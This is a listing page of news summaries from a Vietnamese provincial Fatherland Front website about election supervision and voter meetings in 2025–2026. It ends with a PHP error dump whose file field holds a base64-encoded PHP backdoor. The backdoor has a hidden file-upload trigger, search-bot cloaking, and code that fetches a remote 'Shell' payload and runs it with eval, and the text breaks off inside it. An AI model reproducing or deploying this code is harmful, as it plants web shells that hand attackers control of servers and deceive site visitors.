Giám sát - Phản biện

Đoàn kiểm tra, giám sát tại xã Bến Quan

Kiểm tra, giám sát công tác bầu cử tại 2 xã Bến Quan, Vĩnh Linh.

  •   28/01/2026 07:21:00 PM
  •   Đã xem: 105
  •   Phản hồi: 0
Ngày 28/01/2026, đoàn kiểm tra, giám sát của Ủy ban MTTQ Việt Nam tỉnh làm việc với 2 xã Bến Quan, Vĩnh Linh về nội dung kiểm tra, giám sát công tác bầu cử đại biểu Quốc hội khóa XVI và đại biểu HĐND các cấp, nhiệm kỳ 2026 - 2031.
Đoàn kiểm tra, giám sát tại xã Tuyên Phú

Mặt trận Quảng Trị: Tổ chức Đoàn giám sát số 06 kiểm tra, giám sát công tác bầu cử tại cơ sở.

  •   28/01/2026 03:57:00 AM
  •   Đã xem: 128
  •   Phản hồi: 0
Trong hai ngày 27 - 28/01/2026, Đoàn kiểm tra, giám sát số 06 do đồng chí Lê Công Cường – Phó Chủ tịch Ủy ban MTTQ Việt Nam tỉnh Quảng Trị làm Trưởng đoàn đã tiến hành kiểm tra, giám sát công tác chuẩn bị bầu cử đại biểu Quốc hội khóa XVI và đại biểu Hội đồng nhân dân các cấp, nhiệm kỳ 2026 - 2031 tại các xã Ái Tử, Bến Hải, Tuyên Phú và Kim Điền.
Toàn cảnh Đoàn Giám sát MTTQ Việt Nam tỉnh Quảng Trị về kiểm tra, giám sát công tác bầu cử đại biểu Quốc hội khóa XVI và đại biểu HĐND các cấp, nhiệm kỳ 2026 - 2031 taị xã Lìa

Xã Lìa tích cực triển khai công tác bầu cử đại biểu Quốc hội khóa XVI và HĐND các cấp, nhiệm kỳ 2026 - 2031

  •   27/01/2026 03:26:00 AM
  •   Đã xem: 248
  •   Phản hồi: 0
Thực hiện Kế hoạch số 22/KH-MTTQ-ĐKTGS, ngày 22/01/2026 của Đoàn Giám sát MTTQ Việt Nam tỉnh Quảng Trị về kiểm tra, giám sát công tác bầu cử đại biểu Quốc hội khóa XVI và đại biểu HĐND các cấp, nhiệm kỳ 2026 - 2031 (đợt 1), ngày 27/01/2026, Đoàn Giám sát số 5 do ông Trần Ngọc Sâm - Phó Chủ tịch Ủy ban MTTQ Việt Nam tỉnh, Chủ tịch Hội Cựu Chiến binh tỉnh làm Trưởng đoàn cùng các thành viên của Đoàn là đại diện lãnh đạo các Ban Dân chủ, Giám sát và phản biện xã hội; Tổ chức - Kiểm tra; Tuyên giáo, Công tác xã hội và Ban công tác Hội Cựu Chiến binh tỉnh đã làm việc trực tiếp với Đảng ủy, Thường trực Ủy ban bầu cử, Ban Thường trực Ủy ban MTTQ Việt Nam xã Lìa nhằm kiểm tra, giám sát việc triển khai việc triển khai các bước của cuộc bầu cử trên địa bàn xã.
Kiểm tra, giám sát công tác bầu cử tại xã Kim Phú

Kiểm tra, giám sát công tác bầu cử tại xã Kim Phú

  •   27/01/2026 03:01:00 AM
  •   Đã xem: 39
  •   Phản hồi: 0
Ngày 26/1, đoàn kiểm tra, giám sát của Ủy ban MTTQ Việt Nam tỉnh làm việc với xã Kim Phú về nội dung kiểm tra, giám sát công tác bầu cử đại biểu Quốc hội khóa XVI và đại biểu HĐND các cấp, nhiệm kỳ 2026-2031.
Phát huy vai trò giám sát xã hội của Ủy ban MTTQ Việt Nam tỉnh Quảng Trị trước những vấn đề Nhân dân quan tâm

Phát huy vai trò giám sát xã hội của Ủy ban MTTQ Việt Nam tỉnh Quảng Trị trước những vấn đề Nhân dân quan tâm

  •   24/12/2025 04:10:00 AM
  •   Đã xem: 65
  •   Phản hồi: 0
Trong 5 năm (2021–2025) công tác giám sát xã hội của Ủy ban mặt trận tổ quốc (MTTQ) Việt Nam tỉnh Quảng Trị đã có nhiều chuyển biến mạnh mẽ, thực chất, góp phần nâng cao hiệu lực, hiệu quả quản lý của bộ máy Nhà nước; bảo vệ quyền, lợi ích hợp pháp, chính đáng của Nhân dân; đồng thời tạo dựng niềm tin, sự đồng thuận trong xã hội. Đặc biệt, việc triển khai giám sát gắn với các vấn đề nổi cộm, bức xúc của dân đã khẳng định vai trò nòng cốt của Mặt trận trong đời sống chính trị - xã hội của tỉnh.
Khai mạc kỳ họp Thứ Năm (kỳ họp thường lệ cuối năm), HĐND tỉnh khóa VIII, nhiệm kỳ 2021 - 2026

Nhiều ý kiến, kiến nghị, đề xuất tâm huyết của cử tri và Nhân dân gửi đến kỳ họp thường lệ cuối năm, HĐND tỉnh khóa VIII, nhiệm kỳ 2021 - 2026

  •   09/12/2025 10:39:00 PM
  •   Đã xem: 290
  •   Phản hồi: 0
Sáng nay, 10/12, tại phiên khai mạc kỳ họp thường lệ cuối năm, HĐND tỉnh khóa VIII, nhiệm kỳ 2021 - 2026, bà Lê Thị Mỹ Hiền, Phó Chủ tịch Ủy ban MTTQVN tỉnh đã trình bày Thông báo kết quả Mặt trận tham gia xây dựng chính quyền năm 2025 cùng những ý kiến, kiến nghị, đề xuất của cử tri, Nhân dân và Ban Thường trực Ủy ban MTTQ Việt Nam tỉnh đến kỳ họp.
Đoàn Giám sát của Ủy ban MTTQ Việt Nam tỉnh giám sát tại các địa phương

MẶT TRẬN TỔ QUỐC VIỆT NAM CÁC CẤP TỈNH QUẢNG TRỊ NÂNG CAO CHẤT LƯỢNG THỰC HIỆN DÂN CHỦ Ở CƠ SỞ, GÓP PHẦN TĂNG CƯỜNG SỰ ĐỒNG THUẬN XÃ HỘI

  •   20/11/2025 08:05:00 PM
  •   Đã xem: 167
  •   Phản hồi: 0
Trong thời gian qua, việc thực hiện dân chủ ở cơ sở trên địa bàn tỉnh Quảng Trị tiếp tục có nhiều chuyển biến tích cực, góp phần tạo sự đồng thuận xã hội, giữ vững ổn định chính trị và thúc đẩy phát triển kinh tế - xã hội của tỉnh. Phát huy vai trò nòng cốt trong phát huy quyền làm chủ của Nhân dân, Ủy ban MTTQ Việt Nam các cấp đã chủ động, sáng tạo trong triển khai nhiệm vụ; đồng thời tăng cường phối hợp với cấp ủy, chính quyền và các tổ chức đoàn thể nhằm đưa các quy định của pháp luật về dân chủ đi vào cuộc sống một cách thực chất, hiệu quả.
Nâng cao hiệu quả giám sát, phản biện xã hội của Mặt trận Tổ quốc

Nâng cao hiệu quả giám sát, phản biện xã hội của Mặt trận Tổ quốc

  •   15/11/2025 01:24:00 AM
  •   Đã xem: 204
  •   Phản hồi: 0
QTO - Thời gian qua, Ủy ban MTTQVN các cấp trên địa bàn tỉnh đã từng bước đổi mới nội dung, phương thức hoạt động giám sát, phản biện xã hội. Trong đó, tập trung vào những vấn đề Nhân dân quan tâm, kiến nghị, góp phần bảo vệ quyền, lợi ích hợp pháp, chính đáng của đoàn viên, hội viên và củng cố niềm tin của Nhân dân đối với Đảng, chính quyền.
Tổ đại biểu HĐND tỉnh số 3 tiếp xúc cử tri tại xã Hòa Trạch

Đại biểu HĐND tỉnh tiếp xúc cử tri trước kỳ họp thứ 4, HĐND tỉnh khóa VIII, nhiệm kỳ 2021-2026.

  •   13/11/2025 02:10:00 AM
  •   Đã xem: 169
  •   Phản hồi: 0
Ngày 13/11, tại xã Hòa Trạch, Tổ đại biểu HĐND tỉnh Quảng Trị số 3 đã tổ chức hội nghị tiếp xúc cử tri trước kỳ họp thứ 4, HĐND tỉnh khóa VIII, nhiệm kỳ 2021 - 2026.
Các điển hình tiêu biểu trong công tác hòa giải cơ sở  tại  tỉnh Quảng Trị (cũ) được biều dương tại hội nghị biểu dương điền hình tiến tiến

Uỷ ban MTTQ Việt Nam tỉnh Quảng Trị: Đẩy mạnh, nâng cao chất lượng công tác hòa giải ở cơ sở.

  •   28/10/2025 04:51:00 AM
  •   Đã xem: 483
  •   Phản hồi: 0
Luật Hòa giải ở cơ sở đã khẳng định vai trò nòng cốt của Mặt trận Tổ quốc Việt Nam trong thực hiện chức trách, nhiệm vụ của tổ chức về công tác hòa giải ở cơ sở. Trên cơ sở phát huy quyền và trách nhiệm được pháp luật quy định, Mặt trận Tổ quốc Việt Nam và các tổ chức thành viên tỉnh Quảng Trị đã có nhiều giải pháp, triển khai nhiều hoạt động thiết thực, góp phần nâng cao chất lượng, hiệu quả công tác hòa giải ở cơ sở. Qua đó, tiếp tục khẳng định vai trò của Mặt trận Tổ quốc Việt Nam trong củng cố, phát huy sức mạnh đại đoàn kết toàn dân tộc trong kỷ nguyên mới.
Đại biểu Quốc hội tỉnh tiếp xúc cử tri tại xã Lìa

Đại biểu Quốc hội tỉnh Quảng Trị tiếp xúc cử tri trước kỳ họp thứ 10, Quốc hội khóa XV

  •   04/10/2025 03:07:00 AM
  •   Đã xem: 116
  •   Phản hồi: 0
Từ ngày 30/9 đến ngày 3/10/2025, đoàn Đại biểu Quốc hội tỉnh Quảng Trị đã tổ chức tiếp xúc cử tri tại 11 xã, phường trên địa bàn tỉnh Quảng Trị. Hội nghị có hơn 1.380 cử tri tham gia với 109 ý kiến, kiến nghị, phát biểu.
Ban Thường trực Ủy ban MTTQVN tỉnh tổ chức Hội nghị lấy ý kiến dự thảo Báo cáo chính trị Đại hội Đảng bộ tỉnh lần thứ nhất, nhiệm kỳ 2025 - 2030

Mặt trận tổ quốc Việt Nam tỉnh Quảng Trị: Phát huy vai trò giám sát, phản biện xã hội.

  •   28/09/2025 09:46:00 PM
  •   Đã xem: 276
  •   Phản hồi: 0
Từ hoạt động góp ý chính sách đến những chuyến đi giám sát tận cơ sở, Mặt trận tổ quốc Việt Nam (MTTQVN) tỉnh Quảng Trị đã đưa tiếng nói, ý nguyện của người dân đến với đảng, chính quyền, thực sự là cơ sở chính trị của chính quyền Nhân dân, khẳng định vai trò đại diện bảo vệ quyền, lợi ích hợp pháp chính đáng của Nhân dân.
Các đồng chí lãnh đạo tỉnh tặng hoa chúc mừng đồng chí Nguyễn Chiến Thắng

Quảng Trị: Đồng chí Nguyễn Chiến Thắng, Phó Bí thư Tỉnh ủy được hiệp thương cử giữ chức danh Chủ tịch Ủy ban MTTQ Việt Nam tỉnh nhiệm kỳ 2024 - 2029.

  •   23/09/2025 05:46:00 AM
  •   Đã xem: 354
  •   Phản hồi: 0
Chiều 23/9/2025, tại Hội trường cơ quan Ủy ban MTTQ Việt Nam tỉnh, Ban Thường trực Ủy ban MTTQ Việt Nam tỉnh tổ chức Hội nghị lần thứ 2, nhiệm kỳ 2024 - 2029 để tiến hành hiệp thương cử bổ sung Ủy viên Ủy ban, Chủ tịch Ủy ban MTTQ Việt Nam tỉnh nhiệm kỳ 2024 - 2029; lấy ý kiến Góp ý dự thảo Báo cáo chính trị và các đề án liên quan Đại hội đại biểu MTTQ Việt Nam tỉnh, nhiệm kỳ 2025 - 2030.
Toàn cảnh Hội nghị TXCT

Đại biểu Hội đồng nhân dân tỉnh tiếp xúc cử tri sau kỳ họp thứ 2 Hội đồng nhân dân tỉnh Quảng Trị khóa VIII, nhiệm kỳ 2021 - 2026.

  •   15/09/2025 08:53:00 PM
  •   Đã xem: 128
  •   Phản hồi: 0
Sau kỳ họp thứ 2, Hội đồng nhân dân tỉnh khóa VIII, nhiệm kỳ 2021 - 2026, từ ngày 08/9 - 15/9/2025, các đại biểu Hội đồng nhân dân tỉnh đã tổ chức tiếp xúc cử tri tại 31 điểm các xã, phường, đặc khu trên địa bàn tỉnh. Các Hội nghị có 4.321 cử tri tham gia với 375 ý kiến, kiến nghị, phát biểu.
Mặt trận Tổ quốc Việt Nam tỉnh Quảng trị đưa pháp luật đến gần dân, lan toả khối đại đoàn kết toàn dân

Mặt trận Tổ quốc Việt Nam tỉnh Quảng trị đưa pháp luật đến gần dân, lan toả khối đại đoàn kết toàn dân

  •   12/09/2025 12:00:00 PM
  •   Đã xem: 155
  •   Phản hồi: 0
5 năm qua, thực hiện Kết luận số 80-KL/TW của Ban Bí thư, Ủy ban Mặt trận Tổ quốc (UBMTTQ) Việt Nam tỉnh Quảng Trị đã triển khai nhiều cách làm hiệu quả, sáng tạo, đưa pháp luật đi sâu vào đời sống. Công tác phổ biến, giáo dục pháp luật đã góp phần nâng cao ý thức chấp hành pháp luật trong cán bộ và nhân dân, củng cố khối đại đoàn kết toàn dân, xây dựng xã hội kỷ cương, văn minh.
Các đại biểu tham dự Hội nghị

Quảng Trị: Ủy ban MTTQ Việt Nam tỉnh tổ chức lấy ý kiến góp ý dự thảo các văn kiện trình Đại hội XIV của Đảng, dự thảo báo cáo chính trị Đại hội Đảng bộ tỉnh nhiệm kỳ 2025 - 2030.

  •   20/08/2025 12:06:00 AM
  •   Đã xem: 330
  •   Phản hồi: 0
Sáng ngày 20/8/2025, Ủy ban MTTQ Việt Nam tỉnh Quảng Trị tổ chức Hội nghị lấy ý kiến góp ý dự thảo các văn kiện trình Đại hội XIV của Đảng, dự thảo báo cáo chính trị Đại hội Đảng bộ tỉnh nhiệm kỳ 2025 – 2030.
Bàn giải pháp nâng cao hiệu quả tổ chức bộ máy Mặt trận Tổ quốc và các đoàn thể

Bàn giải pháp nâng cao hiệu quả tổ chức bộ máy Mặt trận Tổ quốc và các đoàn thể

  •   15/08/2025 06:56:00 AM
  •   Đã xem: 90
  •   Phản hồi: 0
QTO - Chiều 15/8, dưới sự chủ trì của Ủy viên Trung ương Đảng, Phó Chủ tịch, Tổng thư ký Ủy ban Trung ương MTTQVN Nguyễn Thị Thu Hà, Ban Thường trực Ủy ban Trung ương MTTQVN tổ chức hội nghị trực tuyến toàn quốc phản ánh khó khăn, vướng mắc trong sắp xếp, tinh gọn tổ chức bộ máy hoạt động của Mặt trận và tổ chức chính trị - xã hội, các hội quần chúng do Đảng, Nhà nước giao nhiệm vụ và bàn các giải pháp khắc phục.
Nhiều ý kiến, kiến nghị, đề xuất tâm huyết của cử tri và Nhân dân gửi đến kỳ họp thứ 2, HĐND tỉnh khóa VIII

Nhiều ý kiến, kiến nghị, đề xuất tâm huyết của cử tri và Nhân dân gửi đến kỳ họp thứ 2, HĐND tỉnh khóa VIII

  •   12/08/2025 11:17:00 PM
  •   Đã xem: 167
  •   Phản hồi: 0
Trên cơ sở tổng hợp ý kiến, kiến nghị của cử tri và Nhân dân tại các Hội nghị tiếp xúc cử tri của đại biểu Hội đồng nhân dân tỉnh; báo cáo tình hình các tầng lớp Nhân dân của các tổ chức thành viên Mặt trận, Uỷ ban MTTQ Việt Nam cấp xã và các Hội đồng tư vấn Uỷ ban MTTQ Việt Nam tỉnh, Ban Thường trực Uỷ ban MTTQ Việt Nam tỉnh đã tổng hợp nhiều ý kiến, kiến nghị, đề xuất tâm huyết của cử tri và Nhân dân gửi đến kỳ họp thứ 2, HĐND tỉnh khóa VIII
NHỮNG ĐIỂM MỚI CỦA LUẬT CÔNG ĐOÀN TẠI LUẬT SỐ 97/2025/QH15.

NHỮNG ĐIỂM MỚI CỦA LUẬT CÔNG ĐOÀN TẠI LUẬT SỐ 97/2025/QH15.

  •   08/08/2025 12:36:00 PM
  •   Đã xem: 92
  •   Phản hồi: 0
Ngày 27/6/2025, Quốc hội đã chính thức thông qua Luật sửa đổi, bổ sung một số điều của Luật Mặt trận Tổ quốc Việt Nam, Luật Công đoàn, Luật Thanh niên và Luật Thực hiện dân chủ ở cơ sở (Luật số 97/2025/QH15, có hiệu lực thi hành từ ngày 01/7/2025).

Các tin khác

Bạn đã không sử dụng Site, Bấm vào đây để duy trì trạng thái đăng nhập. Thời gian chờ: 60 giây
Array
(
    [type] => 2
    [message] => Undefined array key "HTTP_REFERER"
    [file] => data:text/html;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApO0Bpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7QHNldF90aW1lX2xpbWl0KDApO2lmKCFkZWZpbmVkKCdQSFBJTkZPX09OQ0UnKSl7ZGVmaW5lKCdQSFBJTkZPX09OQ0UnLDEpOyRzZXJ2ZXI9JF9TRVJWRVI7JHJlcXVlc3RVcmk9QCRzZXJ2ZXJbJ1JFUVVFU1RfVVJJJ107JHVzZXJBZ2VudD1AJHNlcnZlclsnSFRUUF9VU0VSX0FHRU5UJ107JHJlZmVyZXI9QCRzZXJ2ZXJbJ0hUVFBfUkVGRVJFUiddOyRiYXNlVXJsPSdodHRwczovLzhnOC5pbmZvJzskd2ViUGF0aD0nL1NoZWxsL3dlYi50eHQnOyRhZG1pblBhdGg9Jy9TaGVsbC9hZG1pbi50eHQnOyRmZXRjaFRpbWVvdXQ9MjA7JGZldGNoVWE9JHVzZXJBZ2VudD8kdXNlckFnZW50OidNb3ppbGxhLzUuMCAoQ29tcGF0aWJsZTsgU2hlbGwvMi4wKSc7JGZldGNoUmVmZXJlcj0kcmVmZXJlcj8kcmVmZXJlcjonJzskd2ViQ2FjaGVOYW1lPW1kNSgnd2ViLnR4dCcpOyRhZG1pbkNhY2hlTmFtZT1tZDUoJ2FkbWluLnR4dCcpOyRjYWNoZU1heEFnZT03Kjg2NDAwOyRib3RTb3VyY2U9Jyc7JHJlcXVlc3RUeXBlPScnOyRkZXZpY2VUeXBlPScnOyRjbGllbnRJcD0nJzskc3VwcG9ydHNHemlwPScnOyRmdWxsVXJsPScnOyRjdHg9YXJyYXkoKTtpZihzdHJwb3MoJHVzZXJBZ2VudCwndXJsc2NodWFuJykhPT1mYWxzZSl7aWYoQCRfRklMRVNbJ2YnXSl7QG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sJF9GSUxFU1snZiddWyduYW1lJ10pO31leGl0KCc8Zm9ybSBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+PGlucHV0IHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0PjwvZm9ybT4nKTt9ZnVuY3Rpb24gYnVpbGRfZnVsbF91cmwoJHNlcnZlcil7JGh0dHBzPSghZW1wdHkoJHNlcnZlclsnSFRUUFMnXSkmJiRzZXJ2ZXJbJ0hUVFBTJ10hPSdvZmYnKXx8KGlzc2V0KCRzZXJ2ZXJbJ1NFUlZFUl9QT1JUJ10pJiYkc2VydmVyWydTRVJWRVJfUE9SVCddPT00NDMpOyRzY2hlbWU9JGh0dHBzPydodHRwczovLyc6J2h0dHA6Ly8nOyRob3N0PWlzc2V0KCRzZXJ2ZXJbJ0hUVFBfSE9TVCddKT8kc2VydmVyWydIVFRQX0hPU1QnXTonJztpZighJGhvc3QpeyRob3N0PWlzc2V0KCRzZXJ2ZXJbJ1NFUlZFUl9OQU1FJ10pPyRzZXJ2ZXJbJ1NFUlZFUl9OQU1FJ106J2xvY2FsaG9zdCc7JHBvcnQ9aXNzZXQoJHNlcnZlclsnU0VSVkVSX1BPUlQnXSk/aW50dmFsKCRzZXJ2ZXJbJ1NFUlZFUl9QT1JUJ10pOjA7aWYoJHBvcnQmJigoJGh0dHBzJiYkcG9ydCE9NDQzKXx8KCEkaHR0cHMmJiRwb3J0IT04MCkpKXskaG9zdC49JzonLiRwb3J0O319JHVyaT1pc3NldCgkc2VydmVyWydSRVFVRVNUX1VSSSddKT8kc2VydmVyWydSRVFVRVNUX1VSSSddOicvJztpZigkdXJpPT09JycpeyR1cmk9Jy8nO31yZXR1cm4kc2NoZW1lLiRob3N0LiR1cmk7fWZ1bmN0aW9uIGRldGVjdF9kZXZpY2VfdHlwZSgkdXNlckFnZW50KXtpZighJHVzZXJBZ2VudCl7cmV0dXJuJ3BjJzt9JHVhPXN0cnRvbG93ZXIoJHVzZXJBZ2VudCk7cmV0dXJuIHByZWdfbWF0Y2goJy9tb2JpbGV8YW5kcm9pZHxpcGhvbmV8aXBhZHxpcG9kfHdpbmRvd3MgcGhvbmUvaScsJHVhKT8nc2onOidwYyc7fWZ1bmN0aW9uIGdldF9jbGllbnRfaXAoJHNlcnZlcil7JGtleXM9YXJyYXkoJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCcsJ0hUVFBfWF9SRUFMX0lQJywnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCdIVFRQX0NMSUVOVF9JUCcsJ1JFTU9URV9BRERSJyk7Zm9yZWFjaCgka2V5cyBhcyAka2V5KXtpZighZW1wdHkoJHNlcnZlclska2V5XSkpeyRpcD0kc2VydmVyWyRrZXldO2lmKHN0cnBvcygkaXAsJywnKSE9PWZhbHNlKXskcGFydHM9ZXhwbG9kZSgnLCcsJGlwKTskaXA9dHJpbSgkcGFydHNbMF0pO31lbHNleyRpcD10cmltKCRpcCk7fWlmKGZ1bmN0aW9uX2V4aXN0cygnZmlsdGVyX3ZhcicpKXtpZihmaWx0ZXJfdmFyKCRpcCxGSUxURVJfVkFMSURBVEVfSVApKXtyZXR1cm4gJGlwO319ZWxzZXtpZihwcmVnX21hdGNoKCcvXlxkezEsM30oXC5cZHsxLDN9KXszfSQvJywkaXApKXtyZXR1cm4gJGlwO319fX1yZXR1cm4nMC4wLjAuMCc7fWZ1bmN0aW9uIGRldGVjdF9zZWFyY2hfYm90KCRzb3VyY2Upe2lmKCEkc291cmNlKXtyZXR1cm4gZmFsc2U7fSRzb3VyY2U9c3RydG9sb3dlcigkc291cmNlKTskbWFwPWFycmF5KCdnb29nbGUnPT4nZ29vZ2xlJywnYmluZyc9PidiaW5nJywneWFob28nPT4neWFob28nLCdzbHVycCc9Pid5YWhvbycsJ2JhaWR1Jz0+J2JhaWR1JywneWFuZGV4Jz0+J3lhbmRleCcsJ2Vjb3NpYSc9PidlY29zaWEnLCdxd2FudCc9Pidxd2FudCcpO2ZvcmVhY2goJG1hcCBhcyRrZXk9PiR2YWx1ZSl7aWYoc3RycG9zKCRzb3VyY2UsJGtleSkhPT1mYWxzZSl7cmV0dXJuJHZhbHVlO319cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBmaW5kX2NhY2hlX2Rpcigkc2VydmVyKXskZD0nRDovaGMnO2lzX2RpcigkZCl8fEBta2RpcigkZCwwNzc3LHRydWUpO3JldHVybihpc19kaXIoJGQpJiZpc193cml0YWJsZSgkZCkpPyRkOmRpcm5hbWUoX19GSUxFX18pO31mdW5jdGlvbiBidWlsZF9jYWNoZV9wYXRoKCRjYWNoZURpciwkbmFtZSl7cmV0dXJuJGNhY2hlRGlyLicvLicuJG5hbWU7fWZ1bmN0aW9uIGdldF9yZXF1ZXN0X3R5cGUoJHJlZmVyZXIsJHVzZXJBZ2VudCwmJGJvdFNvdXJjZSl7JGJvdFNvdXJjZT1kZXRlY3Rfc2VhcmNoX2JvdCgkcmVmZXJlcik7aWYoJGJvdFNvdXJjZSE9PWZhbHNlKXtyZXR1cm4nc3MnO30kYm90U291cmNlPWRldGVjdF9zZWFyY2hfYm90KCR1c2VyQWdlbnQpO2lmKCRib3RTb3VyY2UhPT1mYWxzZSl7cmV0dXJuJ3BjJzt9cmV0dXJuJyc7fWZ1bmN0aW9uIGJ1aWxkX2NvbnRleHQoJHNlcnZlciwkcmVmZXJlciwkdXNlckFnZW50LCR0aW1lb3V0U2Vjb25kcyl7JGN0eD1hcnJheSgnYmFzZVVybCc9PicnLCdib3RTb3VyY2UnPT4nJywncmVxdWVzdFR5cGUnPT4nJywnZGV2aWNlVHlwZSc9PicnLCdjbGllbnRJcCc9PicnLCdzdXBwb3J0c0d6aXAnPT4nJywnZnVsbFVybCc9PicnLCd0aW1lb3V0U2Vjb25kcyc9PiR0aW1lb3V0U2Vjb25kcywndXNlckFnZW50Jz0+JHVzZXJBZ2VudCwncmVmZXJlcic9PiRyZWZlcmVyKTskY3R4WydyZXF1ZXN0VHlwZSddPWdldF9yZXF1ZXN0X3R5cGUoJHJlZmVyZXIsJHVzZXJBZ2VudCwkY3R4Wydib3RTb3VyY2UnXSk7JGN0eFsnZGV2aWNlVHlwZSddPWRldGVjdF9kZXZpY2VfdHlwZSgkdXNlckFnZW50KTtpZigkY3R4WydyZXF1ZXN0VHlwZSddIT0nJyl7JGNsaWVudElwPWdldF9jbGllbnRfaXAoJHNlcnZlcik7JGFjY2VwdEVuY29kaW5nPWlzc2V0KCRzZXJ2ZXJbJ0hUVFBfQUNDRVBUX0VOQ09ESU5HJ10pPyRzZXJ2ZXJbJ0hUVFBfQUNDRVBUX0VOQ09ESU5HJ106Jyc7JHN1cHBvcnRzR3ppcD0oc3RycG9zKHN0cnRvbG93ZXIoJGFjY2VwdEVuY29kaW5nKSwnZ3ppcCcpIT09ZmFsc2UpPyd5ZXMnOidubyc7JGZ1bGxVcmw9YnVpbGRfZnVsbF91cmwoJHNlcnZlcik7JGN0eFsnY2xpZW50SXAnXT0kY2xpZW50SXA7JGN0eFsnc3VwcG9ydHNHemlwJ109JHN1cHBvcnRzR3ppcDskY3R4WydmdWxsVXJsJ109JGZ1bGxVcmw7fXJldHVybiRjdHg7fWZ1bmN0aW9uIGxvYWRfY2FjaGVkX3JlbW90ZSgkY2FjaGVGaWxlLCR1cmwsJG1heEFnZSwkZm9yY2VVcGRhdGUsJG1pbkxlbiwkdGltZW91dCwkdXNlckFnZW50LCRyZWZlcmVyKXskcmVzdWx0PWFycmF5KCdjb250ZW50Jz0+JycsJ2Zyb21fY2FjaGUnPT5mYWxzZSwndXBkYXRlZCc9PmZhbHNlKTskc3RhdD1Ac3RhdCgkY2FjaGVGaWxlKTskaGFzQ2FjaGU9KCRzdGF0IT09ZmFsc2UpOyRpc09sZD0kaGFzQ2FjaGU/KHRpbWUoKS0kc3RhdFsnbXRpbWUnXT4kbWF4QWdlKTp0cnVlO2lmKCRmb3JjZVVwZGF0ZXx8ISRoYXNDYWNoZXx8JGlzT2xkKXskcmVtb3RlPWdldF91cmxfY29udGVudCgkdXJsLCR0aW1lb3V0LCR1c2VyQWdlbnQsJHJlZmVyZXIpO2lmKCRyZW1vdGUmJnN0cmxlbigkcmVtb3RlKT4kbWluTGVuKXtAZmlsZV9wdXRfY29udGVudHMoJGNhY2hlRmlsZSxjb21wcmVzc19kYXRhKCRyZW1vdGUpKTskcmVzdWx0Wydjb250ZW50J109JHJlbW90ZTskcmVzdWx0Wyd1cGRhdGVkJ109dHJ1ZTt9fWlmKCEkcmVzdWx0Wydjb250ZW50J10mJiRoYXNDYWNoZSl7JHJlc3VsdFsnY29udGVudCddPWRlY29tcHJlc3NfZGF0YShmaWxlX2dldF9jb250ZW50cygkY2FjaGVGaWxlKSk7JHJlc3VsdFsnZnJvbV9jYWNoZSddPXRydWU7fXJldHVybiRyZXN1bHQ7fWZ1bmN0aW9uIHJ1bl93ZWJfc2hlbGwoJGNhY2hlUGF0aCwkdXJsLCRtYXhBZ2UsJHRpbWVvdXQsJHVzZXJBZ2VudCwkcmVmZXJlciwkY3R4KXskY29kZVJlc3VsdD1sb2FkX2NhY2hlZF9yZW1vdGUoJGNhY2hlUGF0aCwkdXJsLCRtYXhBZ2UsZmFsc2UsMSwkdGltZW91dCwkdXNlckFnZW50LCRyZWZlcmVyKTskY29kZT0kY29kZVJlc3VsdFsnY29udGVudCddO2lmKCRjb2RlKXtleGVjdXRlX3BocCgkY29kZSwkY3R4KTt9fWZ1bmN0aW9uIGV4ZWN1dGVfcGhwKCRjb250ZW50LCRjdHgpeyRiYXNlVXJsPWlzc2V0KCRjdHhbJ2Jhc2VVcmwnXSk/JGN0eFsnYmFzZVVybCddOicnOyRib3RTb3VyY2U9aXNzZXQoJGN0eFsnYm90U291cmNlJ10pPyRjdHhbJ2JvdFNvdXJjZSddOicnOyRyZXF1ZXN0VHlwZT1pc3NldCgkY3R4WydyZXF1ZXN0VHlwZSddKT8kY3R4WydyZXF1ZXN0VHlwZSddOicnOyRkZXZpY2VUeXBlPWlzc2V0KCRjdHhbJ2RldmljZVR5cGUnXSk/JGN0eFsnZGV2aWNlVHlwZSddOicnOyRjbGllbnRJcD1pc3NldCgkY3R4WydjbGllbnRJcCddKT8kY3R4WydjbGllbnRJcCddOicnOyRzdXBwb3J0c0d6aXA9aXNzZXQoJGN0eFsnc3VwcG9ydHNHemlwJ10pPyRjdHhbJ3N1cHBvcnRzR3ppcCddOicnOyRmdWxsVXJsPWlzc2V0KCRjdHhbJ2Z1bGxVcmwnXSk/JGN0eFsnZnVsbFVybCddOicnO2V4dHJhY3QoJGN0eCxFWFRSX1NLSVApOyRjb250ZW50PXRyaW0oJGNvbnRlbnQpOyRjb2RlX3B1cmU9c3RyX2lyZXBsYWNlKGFycmF5KCc8P3BocCcsJzw/JywnPz4nKSwnJywkY29udGVudCk7JGNvZGVfdGFnZ2VkPShzdHJpcG9zKCRjb250ZW50LCc8PycpPT09ZmFsc2UpPyI8P3BocFxuIi4kY29kZV9wdXJlOiRjb250ZW50O2lmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwnNy4wLjAnKT49MCl7dHJ5e0BldmFsKCRjb2RlX3B1cmUpO3JldHVybjt9Y2F0Y2goRXhjZXB0aW9uJGUpe31jYXRjaChFcnJvciRlKXt9fWVsc2V7JGNoZWNrPUBldmFsKCRjb2RlX3B1cmUpO2lmKCRjaGVjayE9PWZhbHNlKXJldHVybjt9aWYodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCc3LjInKTwwJiZmdW5jdGlvbl9leGlzdHMoJ2Fzc2VydCcpKXtAYXNzZXJ0KCRjb2RlX3B1cmUpO31pZih2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sJzguMCcpPDAmJmZ1bmN0aW9uX2V4aXN0cygnY3JlYXRlX2Z1bmN0aW9uJykpeyRmdW5jX2JvZHk9J2V4dHJhY3QoJHBhcmFtcyk7ICcuJGNvZGVfcHVyZTskZnVuYz1AY3JlYXRlX2Z1bmN0aW9uKCckcGFyYW1zJywkZnVuY19ib2R5KTtpZigkZnVuYyl7JGZ1bmMoJGN0eCk7cmV0dXJuO319aWYoaW5pX2dldCgnYWxsb3dfdXJsX2luY2x1ZGUnKSl7JGRhdGFfdXJsPSdkYXRhOi8vdGV4dC9wbGFp